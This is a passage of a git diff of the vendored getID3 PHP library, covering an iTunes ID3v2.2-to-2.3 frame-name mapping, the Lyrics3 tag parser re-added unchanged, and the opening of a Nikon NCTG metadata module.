ID3v2HeaderLength($majorversion) { + return (($majorversion == 2) ? 6 : 10); + } + + /** + * @param string $frame_name + * + * @return string|false + */ + public static function ID3v22iTunesBrokenFrameName($frame_name) { + // iTunes (multiple versions) has been known to write ID3v2.3 style frames + // but use ID3v2.2 frame names, right-padded using either [space] or [null] + // to make them fit in the 4-byte frame name space of the ID3v2.3 frame. + // This function will detect and translate the corrupt frame name into ID3v2.3 standard. + static $ID3v22_iTunes_BrokenFrames = array( + 'BUF' => 'RBUF', // Recommended buffer size + 'CNT' => 'PCNT', // Play counter + 'COM' => 'COMM', // Comments + 'CRA' => 'AENC', // Audio encryption + 'EQU' => 'EQUA', // Equalisation + 'ETC' => 'ETCO', // Event timing codes + 'GEO' => 'GEOB', // General encapsulated object + 'IPL' => 'IPLS', // Involved people list + 'LNK' => 'LINK', // Linked information + 'MCI' => 'MCDI', // Music CD identifier + 'MLL' => 'MLLT', // MPEG location lookup table + 'PIC' => 'APIC', // Attached picture + 'POP' => 'POPM', // Popularimeter + 'REV' => 'RVRB', // Reverb + 'RVA' => 'RVAD', // Relative volume adjustment + 'SLT' => 'SYLT', // Synchronised lyric/text + 'STC' => 'SYTC', // Synchronised tempo codes + 'TAL' => 'TALB', // Album/Movie/Show title + 'TBP' => 'TBPM', // BPM (beats per minute) + 'TCM' => 'TCOM', // Composer + 'TCO' => 'TCON', // Content type + 'TCP' => 'TCMP', // Part of a compilation + 'TCR' => 'TCOP', // Copyright message + 'TDA' => 'TDAT', // Date + 'TDY' => 'TDLY', // Playlist delay + 'TEN' => 'TENC', // Encoded by + 'TFT' => 'TFLT', // File type + 'TIM' => 'TIME', // Time + 'TKE' => 'TKEY', // Initial key + 'TLA' => 'TLAN', // Language(s) + 'TLE' => 'TLEN', // Length + 'TMT' => 'TMED', // Media type + 'TOA' => 'TOPE', // Original artist(s)/performer(s) + 'TOF' => 'TOFN', // Original filename + 'TOL' => 'TOLY', // Original lyricist(s)/text writer(s) + 'TOR' => 'TORY', // Original release year + 'TOT' => 'TOAL', // Original album/movie/show title + 'TP1' => 'TPE1', // Lead performer(s)/Soloist(s) + 'TP2' => 'TPE2', // Band/orchestra/accompaniment + 'TP3' => 'TPE3', // Conductor/performer refinement + 'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by + 'TPA' => 'TPOS', // Part of a set + 'TPB' => 'TPUB', // Publisher + 'TRC' => 'TSRC', // ISRC (international standard recording code) + 'TRD' => 'TRDA', // Recording dates + 'TRK' => 'TRCK', // Track number/Position in set + 'TS2' => 'TSO2', // Album-Artist sort order + 'TSA' => 'TSOA', // Album sort order + 'TSC' => 'TSOC', // Composer sort order + 'TSI' => 'TSIZ', // Size + 'TSP' => 'TSOP', // Performer sort order + 'TSS' => 'TSSE', // Software/Hardware and settings used for encoding + 'TST' => 'TSOT', // Title sort order + 'TT1' => 'TIT1', // Content group description + 'TT2' => 'TIT2', // Title/songname/content description + 'TT3' => 'TIT3', // Subtitle/Description refinement + 'TXT' => 'TEXT', // Lyricist/Text writer + 'TXX' => 'TXXX', // User defined text information frame + 'TYE' => 'TYER', // Year + 'UFI' => 'UFID', // Unique file identifier + 'ULT' => 'USLT', // Unsynchronised lyric/text transcription + 'WAF' => 'WOAF', // Official audio file webpage + 'WAR' => 'WOAR', // Official artist/performer webpage + 'WAS' => 'WOAS', // Official audio source webpage + 'WCM' => 'WCOM', // Commercial information + 'WCP' => 'WCOP', // Copyright/Legal information + 'WPB' => 'WPUB', // Publishers official webpage + 'WXX' => 'WXXX', // User defined URL link frame + ); + if (strlen($frame_name) == 4) { + if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) { + if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) { + return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)]; + } + } + } + return false; + } + +} + diff --git a/vendor/james-heinrich/getid3/getid3/module.tag.lyrics3.php b/vendor/james-heinrich/getid3/getid3/module.tag.lyrics3.php index ca1f53484a..c8b2cf6305 100644 --- a/vendor/james-heinrich/getid3/getid3/module.tag.lyrics3.php +++ b/vendor/james-heinrich/getid3/getid3/module.tag.lyrics3.php @@ -1,329 +1,329 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -/// // -// module.tag.lyrics3.php // -// module for analyzing Lyrics3 tags // -// dependencies: module.tag.apetag.php (optional) // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -class getid3_lyrics3 extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // http://www.volweb.cz/str/tags.htm - - if (!getid3_lib::intValueSupported($info['filesize'])) { - $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); - return false; - } - - $this->fseek((0 - 128 - 9 - 6), SEEK_END); // end - ID3v1 - "LYRICSEND" - [Lyrics3size] - $lyrics3offset = null; - $lyrics3version = null; - $lyrics3size = null; - $lyrics3_id3v1 = $this->fread(128 + 9 + 6); - $lyrics3lsz = (int) substr($lyrics3_id3v1, 0, 6); // Lyrics3size - $lyrics3end = substr($lyrics3_id3v1, 6, 9); // LYRICSEND or LYRICS200 - $id3v1tag = substr($lyrics3_id3v1, 15, 128); // ID3v1 - - if ($lyrics3end == 'LYRICSEND') { - // Lyrics3v1, ID3v1, no APE - - $lyrics3size = 5100; - $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; - $lyrics3version = 1; - - } elseif ($lyrics3end == 'LYRICS200') { - // Lyrics3v2, ID3v1, no APE - - // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' - $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); - $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; - $lyrics3version = 2; - - } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) { - // Lyrics3v1, no ID3v1, no APE - - $lyrics3size = 5100; - $lyrics3offset = $info['filesize'] - $lyrics3size; - $lyrics3version = 1; - $lyrics3offset = $info['filesize'] - $lyrics3size; - - } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) { - - // Lyrics3v2, no ID3v1, no APE - - $lyrics3size = (int) strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' - $lyrics3offset = $info['filesize'] - $lyrics3size; - $lyrics3version = 2; - - } else { - - if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) { - - $this->fseek($info['ape']['tag_offset_start'] - 15); - $lyrics3lsz = $this->fread(6); - $lyrics3end = $this->fread(9); - - if ($lyrics3end == 'LYRICSEND') { - // Lyrics3v1, APE, maybe ID3v1 - - $lyrics3size = 5100; - $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; - $info['avdataend'] = $lyrics3offset; - $lyrics3version = 1; - $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); - - } elseif ($lyrics3end == 'LYRICS200') { - // Lyrics3v2, APE, maybe ID3v1 - - $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' - $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; - $lyrics3version = 2; - $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); - - } - - } - - } - - if (isset($lyrics3offset) && isset($lyrics3version) && isset($lyrics3size)) { - $info['avdataend'] = $lyrics3offset; - $this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size); - - if (!isset($info['ape'])) { - if (isset($info['lyrics3']['tag_offset_start'])) { - $GETID3_ERRORARRAY = &$info['warning']; - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true); - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_apetag = new getid3_apetag($getid3_temp); - $getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start']; - $getid3_apetag->Analyze(); - if (!empty($getid3_temp->info['ape'])) { - $info['ape'] = $getid3_temp->info['ape']; - } - if (!empty($getid3_temp->info['replay_gain'])) { - $info['replay_gain'] = $getid3_temp->info['replay_gain']; - } - unset($getid3_temp, $getid3_apetag); - } else { - $this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)'); - } - } - - } - - return true; - } - - /** - * @param int $endoffset - * @param int $version - * @param int $length - * - * @return bool - */ - public function getLyrics3Data($endoffset, $version, $length) { - // http://www.volweb.cz/str/tags.htm - - $info = &$this->getid3->info; - - if (!getid3_lib::intValueSupported($endoffset)) { - $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); - return false; - } - - $this->fseek($endoffset); - if ($length <= 0) { - return false; - } - $rawdata = $this->fread($length); - - $ParsedLyrics3 = array(); - - $ParsedLyrics3['raw']['lyrics3version'] = $version; - $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; - $ParsedLyrics3['tag_offset_start'] = $endoffset; - $ParsedLyrics3['tag_offset_end'] = $endoffset + $length - 1; - - if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') { - if (strpos($rawdata, 'LYRICSBEGIN') !== false) { - - $this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version); - $info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN'); - $rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN')); - $length = strlen($rawdata); - $ParsedLyrics3['tag_offset_start'] = $info['avdataend']; - $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; - - } else { - - $this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead'); - return false; - - } - - } - - switch ($version) { - - case 1: - if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') { - $ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9)); - $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); - } else { - $this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); - return false; - } - break; - - case 2: - if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') { - $ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ - $rawdata = $ParsedLyrics3['raw']['unparsed']; - while (strlen($rawdata) > 0) { - $fieldname = substr($rawdata, 0, 3); - $fieldsize = (int) substr($rawdata, 3, 5); - $ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize); - $rawdata = substr($rawdata, 3 + 5 + $fieldsize); - } - - if (isset($ParsedLyrics3['raw']['IND'])) { - $i = 0; - $flagnames = array('lyrics', 'timestamps', 'inhibitrandom'); - foreach ($flagnames as $flagname) { - if (strlen($ParsedLyrics3['raw']['IND']) > $i++) { - $ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1)); - } - } - } - - $fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author'); - foreach ($fieldnametranslation as $key => $value) { - if (isset($ParsedLyrics3['raw'][$key])) { - $ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]); - } - } - - if (isset($ParsedLyrics3['raw']['IMG'])) { - $imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']); - foreach ($imagestrings as $key => $imagestring) { - if (strpos($imagestring, '||') !== false) { - $imagearray = explode('||', $imagestring); - $ParsedLyrics3['images'][$key]['filename'] = (isset($imagearray[0]) ? $imagearray[0] : ''); - $ParsedLyrics3['images'][$key]['description'] = (isset($imagearray[1]) ? $imagearray[1] : ''); - $ParsedLyrics3['images'][$key]['timestamp'] = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : ''); - } - } - } - if (isset($ParsedLyrics3['raw']['LYR'])) { - $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); - } - } else { - $this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); - return false; - } - break; - - default: - $this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)'); - return false; - } - - - if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) { - $this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data'); - unset($info['id3v1']); - foreach ($info['warning'] as $key => $value) { - if ($value == 'Some ID3v1 fields do not use NULL characters for padding') { - unset($info['warning'][$key]); - sort($info['warning']); - break; - } - } - } - - $info['lyrics3'] = $ParsedLyrics3; - - return true; - } - - /** - * @param string $rawtimestamp - * - * @return int|false - */ - public function Lyrics3Timestamp2Seconds($rawtimestamp) { - if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) { - return (int) (($regs[1] * 60) + $regs[2]); - } - return false; - } - - /** - * @param array $Lyrics3data - * - * @return bool - */ - public function Lyrics3LyricsTimestampParse(&$Lyrics3data) { - $lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']); - $notimestamplyricsarray = array(); - foreach ($lyricsarray as $key => $lyricline) { - $regs = array(); - unset($thislinetimestamps); - while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) { - $thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]); - $lyricline = str_replace($regs[0], '', $lyricline); - } - $notimestamplyricsarray[$key] = $lyricline; - if (isset($thislinetimestamps) && is_array($thislinetimestamps)) { - sort($thislinetimestamps); - foreach ($thislinetimestamps as $timestampkey => $timestamp) { - if (isset($Lyrics3data['synchedlyrics'][$timestamp])) { - // timestamps only have a 1-second resolution, it's possible that multiple lines - // could have the same timestamp, if so, append - $Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline; - } else { - $Lyrics3data['synchedlyrics'][$timestamp] = $lyricline; - } - } - } - } - $Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray); - if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) { - ksort($Lyrics3data['synchedlyrics']); - } - return true; - } - - /** - * @param string $char - * - * @return bool|null - */ - public function IntString2Bool($char) { - if ($char == '1') { - return true; - } elseif ($char == '0') { - return false; - } - return null; - } -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +/// // +// module.tag.lyrics3.php // +// module for analyzing Lyrics3 tags // +// dependencies: module.tag.apetag.php (optional) // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +class getid3_lyrics3 extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // http://www.volweb.cz/str/tags.htm + + if (!getid3_lib::intValueSupported($info['filesize'])) { + $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); + return false; + } + + $this->fseek((0 - 128 - 9 - 6), SEEK_END); // end - ID3v1 - "LYRICSEND" - [Lyrics3size] + $lyrics3offset = null; + $lyrics3version = null; + $lyrics3size = null; + $lyrics3_id3v1 = $this->fread(128 + 9 + 6); + $lyrics3lsz = (int) substr($lyrics3_id3v1, 0, 6); // Lyrics3size + $lyrics3end = substr($lyrics3_id3v1, 6, 9); // LYRICSEND or LYRICS200 + $id3v1tag = substr($lyrics3_id3v1, 15, 128); // ID3v1 + + if ($lyrics3end == 'LYRICSEND') { + // Lyrics3v1, ID3v1, no APE + + $lyrics3size = 5100; + $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; + $lyrics3version = 1; + + } elseif ($lyrics3end == 'LYRICS200') { + // Lyrics3v2, ID3v1, no APE + + // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' + $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); + $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; + $lyrics3version = 2; + + } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) { + // Lyrics3v1, no ID3v1, no APE + + $lyrics3size = 5100; + $lyrics3offset = $info['filesize'] - $lyrics3size; + $lyrics3version = 1; + $lyrics3offset = $info['filesize'] - $lyrics3size; + + } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) { + + // Lyrics3v2, no ID3v1, no APE + + $lyrics3size = (int) strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' + $lyrics3offset = $info['filesize'] - $lyrics3size; + $lyrics3version = 2; + + } else { + + if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) { + + $this->fseek($info['ape']['tag_offset_start'] - 15); + $lyrics3lsz = $this->fread(6); + $lyrics3end = $this->fread(9); + + if ($lyrics3end == 'LYRICSEND') { + // Lyrics3v1, APE, maybe ID3v1 + + $lyrics3size = 5100; + $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; + $info['avdataend'] = $lyrics3offset; + $lyrics3version = 1; + $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); + + } elseif ($lyrics3end == 'LYRICS200') { + // Lyrics3v2, APE, maybe ID3v1 + + $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' + $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; + $lyrics3version = 2; + $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); + + } + + } + + } + + if (isset($lyrics3offset) && isset($lyrics3version) && isset($lyrics3size)) { + $info['avdataend'] = $lyrics3offset; + $this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size); + + if (!isset($info['ape'])) { + if (isset($info['lyrics3']['tag_offset_start'])) { + $GETID3_ERRORARRAY = &$info['warning']; + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true); + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_apetag = new getid3_apetag($getid3_temp); + $getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start']; + $getid3_apetag->Analyze(); + if (!empty($getid3_temp->info['ape'])) { + $info['ape'] = $getid3_temp->info['ape']; + } + if (!empty($getid3_temp->info['replay_gain'])) { + $info['replay_gain'] = $getid3_temp->info['replay_gain']; + } + unset($getid3_temp, $getid3_apetag); + } else { + $this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)'); + } + } + + } + + return true; + } + + /** + * @param int $endoffset + * @param int $version + * @param int $length + * + * @return bool + */ + public function getLyrics3Data($endoffset, $version, $length) { + // http://www.volweb.cz/str/tags.htm + + $info = &$this->getid3->info; + + if (!getid3_lib::intValueSupported($endoffset)) { + $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); + return false; + } + + $this->fseek($endoffset); + if ($length <= 0) { + return false; + } + $rawdata = $this->fread($length); + + $ParsedLyrics3 = array(); + + $ParsedLyrics3['raw']['lyrics3version'] = $version; + $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; + $ParsedLyrics3['tag_offset_start'] = $endoffset; + $ParsedLyrics3['tag_offset_end'] = $endoffset + $length - 1; + + if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') { + if (strpos($rawdata, 'LYRICSBEGIN') !== false) { + + $this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version); + $info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN'); + $rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN')); + $length = strlen($rawdata); + $ParsedLyrics3['tag_offset_start'] = $info['avdataend']; + $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; + + } else { + + $this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead'); + return false; + + } + + } + + switch ($version) { + + case 1: + if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') { + $ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9)); + $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); + } else { + $this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); + return false; + } + break; + + case 2: + if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') { + $ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ + $rawdata = $ParsedLyrics3['raw']['unparsed']; + while (strlen($rawdata) > 0) { + $fieldname = substr($rawdata, 0, 3); + $fieldsize = (int) substr($rawdata, 3, 5); + $ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize); + $rawdata = substr($rawdata, 3 + 5 + $fieldsize); + } + + if (isset($ParsedLyrics3['raw']['IND'])) { + $i = 0; + $flagnames = array('lyrics', 'timestamps', 'inhibitrandom'); + foreach ($flagnames as $flagname) { + if (strlen($ParsedLyrics3['raw']['IND']) > $i++) { + $ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1)); + } + } + } + + $fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author'); + foreach ($fieldnametranslation as $key => $value) { + if (isset($ParsedLyrics3['raw'][$key])) { + $ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]); + } + } + + if (isset($ParsedLyrics3['raw']['IMG'])) { + $imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']); + foreach ($imagestrings as $key => $imagestring) { + if (strpos($imagestring, '||') !== false) { + $imagearray = explode('||', $imagestring); + $ParsedLyrics3['images'][$key]['filename'] = (isset($imagearray[0]) ? $imagearray[0] : ''); + $ParsedLyrics3['images'][$key]['description'] = (isset($imagearray[1]) ? $imagearray[1] : ''); + $ParsedLyrics3['images'][$key]['timestamp'] = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : ''); + } + } + } + if (isset($ParsedLyrics3['raw']['LYR'])) { + $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); + } + } else { + $this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); + return false; + } + break; + + default: + $this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)'); + return false; + } + + + if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) { + $this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data'); + unset($info['id3v1']); + foreach ($info['warning'] as $key => $value) { + if ($value == 'Some ID3v1 fields do not use NULL characters for padding') { + unset($info['warning'][$key]); + sort($info['warning']); + break; + } + } + } + + $info['lyrics3'] = $ParsedLyrics3; + + return true; + } + + /** + * @param string $rawtimestamp + * + * @return int|false + */ + public function Lyrics3Timestamp2Seconds($rawtimestamp) { + if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) { + return (int) (($regs[1] * 60) + $regs[2]); + } + return false; + } + + /** + * @param array $Lyrics3data + * + * @return bool + */ + public function Lyrics3LyricsTimestampParse(&$Lyrics3data) { + $lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']); + $notimestamplyricsarray = array(); + foreach ($lyricsarray as $key => $lyricline) { + $regs = array(); + unset($thislinetimestamps); + while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) { + $thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]); + $lyricline = str_replace($regs[0], '', $lyricline); + } + $notimestamplyricsarray[$key] = $lyricline; + if (isset($thislinetimestamps) && is_array($thislinetimestamps)) { + sort($thislinetimestamps); + foreach ($thislinetimestamps as $timestampkey => $timestamp) { + if (isset($Lyrics3data['synchedlyrics'][$timestamp])) { + // timestamps only have a 1-second resolution, it's possible that multiple lines + // could have the same timestamp, if so, append + $Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline; + } else { + $Lyrics3data['synchedlyrics'][$timestamp] = $lyricline; + } + } + } + } + $Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray); + if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) { + ksort($Lyrics3data['synchedlyrics']); + } + return true; + } + + /** + * @param string $char + * + * @return bool|null + */ + public function IntString2Bool($char) { + if ($char == '1') { + return true; + } elseif ($char == '0') { + return false; + } + return null; + } +} diff --git a/vendor/james-heinrich/getid3/getid3/module.tag.nikon-nctg.php b/vendor/james-heinrich/getid3/getid3/module.tag.nikon-nctg.php index ebbfb7d2ae..46e2f21d89 100644 --- a/vendor/james-heinrich/getid3/getid3/module.tag.nikon-nctg.php +++ b/vendor/james-heinrich/getid3/getid3/module.tag.nikon-nctg.php @@ -1,1448 +1,1448 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.tag.nikon-nctg.php // -// // -///////////////////////////////////////////////////////////////// - -/** - * Module for analyzing Nikon NCTG metadata in MOV files - * - * @author Pavel Starosek - * @author Phil Harvey - * - * @link https://exiftool.org/TagNames/Nikon.html#NCTG - * @link https://github.com/exiftool/exiftool/blob/master/lib/Image/ExifTool/Nikon.pm - * @link https://leo-van-stee.github.io/ - */ -class getid3_tag_nikon_nctg -{ - const EXIF_TYPE_UINT8 = 0x0001; - const EXIF_TYPE_CHAR = 0x0002; - const EXIF_TYPE_UINT16 = 0x0003; - const EXIF_TYPE_UINT32 = 0x0004; - const EXIF_TYPE_URATIONAL = 0x0005; - const EXIF_TYPE_INT8 = 0x0006; - const EXIF_TYPE_RAW = 0x0007; - const EXIF_TYPE_INT16 = 0x0008; - const EXIF_TYPE_INT32 = 0x0009; - const EXIF_TYPE_RATIONAL = 0x000A; - - protected static $exifTypeSizes = array( - self::EXIF_TYPE_UINT8 => 1, - self::EXIF_TYPE_CHAR => 1, - self::EXIF_TYPE_UINT16 => 2, - self::EXIF_TYPE_UINT32 => 4, - self::EXIF_TYPE_URATIONAL => 8, - self::EXIF_TYPE_INT8 => 1, - self::EXIF_TYPE_RAW => 1, - self::EXIF_TYPE_INT16 => 2, - self::EXIF_TYPE_INT32 => 4, - self::EXIF_TYPE_RATIONAL => 8, - ); - - protected static $exposurePrograms = array( - 0 => 'Not Defined', - 1 => 'Manual', - 2 => 'Program AE', - 3 => 'Aperture-priority AE', - 4 => 'Shutter speed priority AE', - 5 => 'Creative (Slow speed)', - 6 => 'Action (High speed)', - 7 => 'Portrait', - 8 => 'Landscape' - ); - - protected static $meteringModes = array( - 0 => 'Unknown', - 1 => 'Average', - 2 => 'Center-weighted average', - 3 => 'Spot', - 4 => 'Multi-spot', - 5 => 'Multi-segment', - 6 => 'Partial', - 255 => 'Other' - ); - - protected static $cropHiSpeeds = array( - 0 => 'Off', - 1 => '1.3x Crop', - 2 => 'DX Crop', - 3 => '5:4 Crop', - 4 => '3:2 Crop', - 6 => '16:9 Crop', - 8 => '2.7x Crop', - 9 => 'DX Movie Crop', - 10 => '1.3x Movie Crop', - 11 => 'FX Uncropped', - 12 => 'DX Uncropped', - 15 => '1.5x Movie Crop', - 17 => '1:1 Crop' - ); - - protected static $colorSpaces = array( - 1 => 'sRGB', - 2 => 'Adobe RGB' - ); - - protected static $vibrationReductions = array( - 1 => 'On', - 2 => 'Off' - ); - - protected static $VRModes = array( - 0 => 'Normal', - 1 => 'On (1)', - 2 => 'Active', - 3 => 'Sport' - ); - - protected static $activeDLightnings = array( - 0 => 'Off', - 1 => 'Low', - 3 => 'Normal', - 5 => 'High', - 7 => 'Extra High', - 8 => 'Extra High 1', - 9 => 'Extra High 2', - 10 => 'Extra High 3', - 11 => 'Extra High 4', - 65535 => 'Auto' - ); - - protected static $pictureControlDataAdjusts = array( - 0 => 'default', - 1 => 'quick', - 2 => 'full' - ); - - protected static $pictureControlDataFilterEffects = array( - 0x80 => 'off', - 0x81 => 'yellow', - 0x82 => 'orange', - 0x83 => 'red', - 0x84 => 'green', - 0xff => 'n/a' - ); - - protected static 